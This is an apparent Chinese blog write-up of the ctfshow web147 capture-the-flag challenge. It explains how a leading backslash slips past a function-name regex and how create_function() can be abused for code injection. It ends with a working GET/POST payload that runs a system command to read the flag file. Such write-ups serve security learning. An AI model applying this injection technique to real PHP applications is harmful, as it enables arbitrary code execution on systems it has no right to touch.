首页 > 其他分享 >ctfshow web147(create_function函数命令执行)

ctfshow web147(create_function函数命令执行)

时间:2022-10-20 19:46:31浏览次数:95  
标签:function web147 create phpinfo echo ctf ctfshow

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

首先第一个知识点:

正则绕过很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。最后full以后找到了 \ 这个字符。原理

第二个知识点:

create_function()代码注入

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo();//就等价于

function f($a) {
  echo 1;}phpinfo();//
}
从而执行phpinfo()命令

因此可以达到我们的任意代码执行。

payload:

get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

 

 

 

参考链接:https://blog.csdn.net/miuzzx/article/details/109197158?spm=1001.2014.3001.5502

 

标签:function,web147,create,phpinfo,echo,ctf,ctfshow
From: https://www.cnblogs.com/meng-han/p/16811017.html

相关文章